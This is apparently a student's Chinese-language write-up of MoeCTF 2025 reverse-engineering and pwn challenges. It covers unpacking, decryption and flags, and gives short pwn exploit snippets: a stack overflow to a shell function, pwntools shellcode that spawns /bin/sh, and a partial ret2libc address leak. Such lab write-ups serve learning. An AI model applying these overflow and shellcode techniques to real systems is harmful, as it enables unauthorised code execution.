直接crtl+f打开搜索栏,搜索flag

成功找到flag为:

moectf{open_your_IDA_and_start_reverse_engineering!!}

upx

UPX是什么?是一个可执行文件的压缩工具,同时可以用于加壳

加壳指的就是给那个程序执行前加了点步骤,防御

先看看原来给的加没加壳

下了个PEiD看看

那这边输入upx -d 1.exe我们直接对题目所给的exe进行脱壳,成功脱壳

可以看见脱壳后文件都大了不少

原来的是放不进ida的,而现在能够放进去了

看见这样子一串,我们肯定是要(char)v9[i] == v6[i]

这边输入字符串,会把我的输入放到buffer(包括我输入的回车),然后会遍历每一个字符,一个个放到v9[]去

接下来最后一个字符 v9[i] = Buffer[i] ^ Buffer[i+1] ^ 0x21 最后一个 v9[i] = Buffer[i] ^ 0x21

接着校验前 35 个字节:(char)v9[i] 必须逐个等于常量表 v6[i]

所以让 (char)v9[i] == v6[i] 的方法:把 s[35]=0x0A 当作已知,从 i=34 倒推 s[i]=v6[i]^s[i+1]^0x21,得到的 35 个字节是你的输入;最后按回车提交

那我们根据v6,直接写代码逆推即可

正好v6[]就在上边

果然是要考虑到换行边界的,最后得到flag为moectf{Y0u_c4n_unp4ck_It_vvith_upx}

upx_revenge

upx-d不让用了,但是手动脱壳看上去过于困难了

猜测是不是改UPX了,好像很多题都这样

发现确实,多加了一个1,放到十六进制发现还有个0

那我们删一下

ez3

问我知不知道z3 solver,还真不知道,搜一下

是一个求解器,可以用来做数学运算、综合性编程问题和逻辑题之类

先在ida看看这个题目,发现输入后首先要求输入是42位长度

然后是要用moectf{}来包裹住这个flag

所以我们要reverse的就是中间那34个字节的东西

而这些东西需要和check函数比对

那我们就去看看check函数

check函数长成这样子

是在进行一个遍历后选择异或的操作

当然需要和a[n33]比较,我们这边找到了a数组的内容

写得代码,根据数组a逆向,成功得到flag

(虽然我并没有用z3 solver,这玩意老是报错)

moectf{Y0u_Kn0w_z3_S0Iv3r_N0w_a1f2bdce4a9}

base

先die,看见是64位

定位main函数

就好了?就没了,好吧

moectf{Y0u_C4n_G00d_At_B45e64!!}

speed

先die

好哦是64位,放到ida里

定位一下main函数

似乎没东西,再看窗口Winmain

能看见moe,蛮好的

有窗口函数,但是原来的文件打不开,试试看动态调试

果然在这个地方出现了窗口,打开后结果如下:

moectf{Just_dyn@mic_d3bugg1ng}

catch

先die然后ida64打开

搜索后发现了flag藏在程序中

一步步找我们就能找到flag如下,密文为geoilqbcyUcyUkUlkaoUlfkmw

这边enc函数是在给这玩意与11异或,那咱直接把密文和11异或即可

好算出来不对啊,我无语了

结果直接shift+f12就看见了个差不多的

rot13就出来了,flag就这个moectf{S4m3_Tr1ck_with_@flower_desuwa}

(其实是自己有一个算法,一直在变的,多动调几次就出来了)

ezpy

给的pyc文件,直接线上改成py文件看看

反编译结果如上

阅读代码,会将输入和114514进行一个编码

而输出如果为wyomdp{I0e_Ux0G_zim}即正确

其实上边就是个凯撒而已,我们扔随波逐流都能出

moectf{Y0u_Kn0W_pyc}

flower

这个在spc新生赛的时候就有略微了解过,说起来下边的maze题也是

我记得没错的话花指令就是存在一串垃圾指令,它与程序本身的功能无关,并不影响程序本身的逻辑,用来防御

搜索了一下看见这样子一串

但是这一次遇见的和之前的不一样,这个是可以反编译的花指令

这类花指令本身是正常的汇编指令,它们运行完后不会改变原来程序的堆栈,寄存器,但能起到干扰静态分析的作用,一般分为两种,一种是改变堆栈操作,另一种是利用call指令或Jmp指令增加执行流程复杂度。

这边找一下,找到_start函数出现问题

检测到正的sp值了,堆栈指针不平衡

存在以上问题

要进行栈调整,首先应选中进行调整的地址,并选择Edit▶Functions▶Change Stack Pointer

改完之后发现问题仍然存在,似乎是_libc_start_main_impl处有问题

确实报错了,检测到对const内存的写访问,输出可能是错误的

主要是这俩错误

先把初始sp值改成0

自动修复栈分析后长的都不一样了

(上边是之前做的,下边是培训完做的)

咱导入Linux去

来连上先

定位main函数

动态调试失败

分析主函数,似乎核心问题在于check和solve函数

check函数未发现异常,而solve函数似乎遭到了抵抗阻止反编译的进行

定位红色区域

找花指令直接nop掉

A cup of tea

正好今天学到tea加密啊,我们来看看moe的

定位到主要的函数

找到key和密文

定位到tea加密部分

直接改数字

moectf{h3r3_4_cuP_0f_734_f0R_y0U!!!!!!}

今天也是学的颇有成效

Two cups of tea

规范做默认

我们点开来看看tea加密部分

Mazegame

打开主函数

可以看到这部分是迷宫四个方向会导致的结果

而结果正在下边

大概解读如下:

查字符串能看见大概迷宫

定位过去,这个v9数组应该就是具体的迷宫框架,结合尝试与迷宫四边肯定都是墙的常识

这边是1是墙,0是路

但是这个顺序不太对,我们让ai重新生成一份标准的迷宫图

大致就这样子,试试看能不能ai跑一条路出来,太长了眼睛要瞎掉了

一开始想当然了,因为是左上角开始的,就想当然认为结尾应该是在右下角

看上去很对,但是输入后显示未到终点

再次分析

不应该忘了之前看见的这一个,因此我们可以确认答案在迷宫的第16行第33列的位置,这一个地方才是真正的终点(搞死人,也没个标识)

好在我们只需要修改位置即可

位置有点壮观

最后ida可以看到答案即为输入,因此答案就是moectf{ssddddwwddssddddssddssssddwwddwwddwwwwddddssssaassssaaaassaassaawwaawwwwaaaassddssaassddssssaaaassddddddwwwwddddssddddwwddwwaawwddddssssssssssssaaasssdddssssaassssaaaassaassaawwaawwwwaaaassddssaassddssssaaaassddddddwwwwddddssddddwwddwwaawwddddssssssssssssaaawawwwaassaawwaassaaaaaaaaaawwwwaassssssddddssssssdddddddddwwdddssddwwwdddsssdddddwwawwddddddddddddddddddddssddddddddwwwwawwwwwwwwdwwwwwwwwwwwaawwdwwwwwwwwwwdwwwwwwaaaasssssssssssssssssssssssssssssssssssssaaawwaaaaaaaaaaaaaaaaaaawwwddddddddwwddddddddddwwwawaawawwwwwwwwwwwwwddwwwwaassaawwaassaaaaaaaaaawwwwaawwddwwaawwdwwwdwwwwddddddddddssddddssssdsdssddssaassaaaawwaaaassssaaaaaawwddddwwwwaawwawaassdsssdd}(这太震撼了)

ezandroid

APK软件,主要还是用雷电APP智能分析和jadx或许多一些

直接雷电打开

敏感信息捕捉,直接给抓到了

这一看就是base64的moectf

直接就完成了,确实是ez

ezandroid.pro

问native层,先了解一下大致结构

可以大概得知安卓有应用层、应用框架层、系统运行库层、硬件抽象层(HAL)和Linux内核层。其中,Native层主要位于系统运行库层和硬件抽象层

其职责主要就是运行本地的代码,来实现核心算法,后边再让java层调用这一层的函数,输出出去

2048_master_re

这边和misc是同一个附件

我们放入ida看看

搜索字符串就可以发现,这边藏着说我们找到了一些线索,但是不够解锁最深的秘密,而我们就是要找到这个秘密

双击进入加密函数sub_401C83

可以看见这个block=的sub_401A81函数即为加密函数,四参数

再往里边看,这其实是一个XXTEA的加密

这边解密一下

成功得到flag:moectf{@_N1c3_cup_0f_XXL_te4_1n_2O48}

Pwn

终于敢写pwn题目了

0 二进制漏洞审计入门指北

这边直接把附件放进虚拟机然后写一串代码就好了,代码都给了,不用大改

先连接

根据虚拟机网段配置wsrx

直接就原来给的代码塞进去就是了

每一步写的很详细了

这边send和sendline的区别主要在这

这边直接与运行python即可得到flag

1 ez_u64

首先确定是64位系统,接着看一下如何解题

查看main函数,只需要满足v1 = num即可执行system(/bin/sh)提权了,接下来就简单了,因此本题的问题只在于如何使v1=num

这边我们是先连上环境

然后定位到Here这句话,相当于打断点

打过来之后马上提取后边八个字节的内容,输入到data里,因为后边是hint,是和我们输入对比的num,只要捕获并作为v1输入即可

后边构造payload再sendline

即提权成功

后边经典ls和cat即可

moectf{US3Ful_tHlNg5-IN-pwNTOol52b463460}

1 find it

依旧是64位的内容

可以理解一下fd先,文件描述符,对于Linux中一切都是文件,因此fd就相当于是每一个被打开文件的一个地址符

我们默认fd0为stdin标准输入,fd1为stdout标准输出,fd2为stderr标准错误,而后边打开的每一个文件会自动领到3以后的数字作为自己的文件标识符

我们这边先看看内容

这边我们来看主函数

上来先说自己把标准输出隐藏起来了,让我们去找他

这边可以看到,v3=dup(1)

也就是说fd=1被藏到了fd=3的地方

所以当问我们在哪里的时候我们应该回复的是3,如果回复1就会被close

接下来就问我们想看什么,会打开我们输入的那个file

这边我们输入flag就是了

一般由于fd012都被占用,这边新打开的文件应该是fd=3才对

但是刚刚把fd=1变成了fd=3,所以fd=1的地方是空着的,也就是说现在打开的这个flag在fd=1的地方

所以它问我们fd,我们输入1,如下

成功得到flag

2 EZtext

先确定是64位的

这边可以看到这一题是在考栈溢出

这边的v4是我们输入的,输入4+8就满了

可以看到只要输入8个及以上就会填满栈,然后这边还有一个另一个read函数,可以输入8+8个,但是我们只能输入a1个内容,也就是说我们应该让a1大一点,超过16才是

所以我们一开始可以先输入个50,然后我们写入16个a即可完成栈溢出

我们还可以注意到左边有个treasure函数

我们/bin/sh的程序在这个地方

所以我们应该改地址改0x4011CD的位置

注意这边是64位程序啊,要用p64来封装

就直接一步步下来先发50再发溢出再发/bin/sh地址即可

得到flag

moectf{reTZt3Xt_iS-tHE-stArT_0f-rop18d3c395}

2 ezshellcode

这是一道没有system的题目

这边一开始需要我们输入4,然后往下跳

这边栈溢出成立,可以输入4096个但是输入0x10+8就溢出了

这边的重点是没有system函数,即我们必须直接通过系统调用得到/bin/sh提权

其实system(“/bin/sh”)底层是调用execve(“/bin/sh”,0,0)

我们需要通过pwntools的asm函数来汇编shellcode

pwntools有个强大的工具shellcraft,可以直接帮助我们生成shellcode

所以这一题就是需要我们编写汇编代码,直接调用 execve系统调用

直接写大概长这样子(当然不长这样子了),太困难了,我们还是尝试使用shellcraft

利用shellcraft可以方便很多shellcode = asm(shellcraft.sh())

注意这题已经创建好了一个专门的shellcode区域

用户的输入会填充到这里的,所以这题根本就不需要所谓的缓冲区溢出

直接这样子就搞定了,刚刚卡住一直想利用栈溢出,但这题其实没有,在payload前这样子写只会妨碍shellcode执行

得解

moectf{pOWErfUl-sHeL1cod3-Can_d0-ANythlNgbe879}

3 认识libc

先看位数

我发现moe很喜欢出64位的恶心人()

会多一个libc文件,system我们在源文件找不到,只能在libc文件里找到

一般是我们只知道偏移地址,但是不知道基地址,通过puts可以得到它现在的地址,减去偏移地址便可得到基地址

先看原来的pwn文件

上来先到这边io.recvuntil(“> “)一下

可以看到这边存在栈溢出漏洞,我们可以填入0x100个内容,但是buf只能存储0x40+8个内容

padding=0x40+8

接下来我们直接

1
2
3
main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

当puts被调用时,puts_plt会把puts函数的地址储存在puts_got中,所以直接把puts_got作为puts_plt的参数使用,puts函数就会把自己的函数地址打印出来

main作为返回地址、得到puts的实际地址之后会重新开始操作

ROPgadget –binary “ret2libc” –only “pop|ret”

然后我们再确定一下pop rdi和ret地址,就可以开始构造第一个payload1了

我去。。。问题在这边,这题做不出来的主要原因就是传不了参,但我现在只会传参,再学会儿吧

pop_rbp=0x40116d

ret=0x40101a

好之后我们直接提取\x7f的前六位

puts = u64(p.recvuntil(“\x7f”)[-6:].ljust(8, b”\x00”))

基地址也能算出来了

然后system地址直接由基地址算出来

libc_base = puts - libc.dump(“puts”)

system = libc_base + libc.dump(“system”)

而/bin/sh其实题目自带了

所以bin_sh=0x1D8678

老实了,等学到rbp咋玩再说吧


2025MoeCTF
https://mei-you-qian.github.io/2025/10/28/2025MoeCTF/
作者
Meiyouqian
发布于
2025年10月28日
许可协议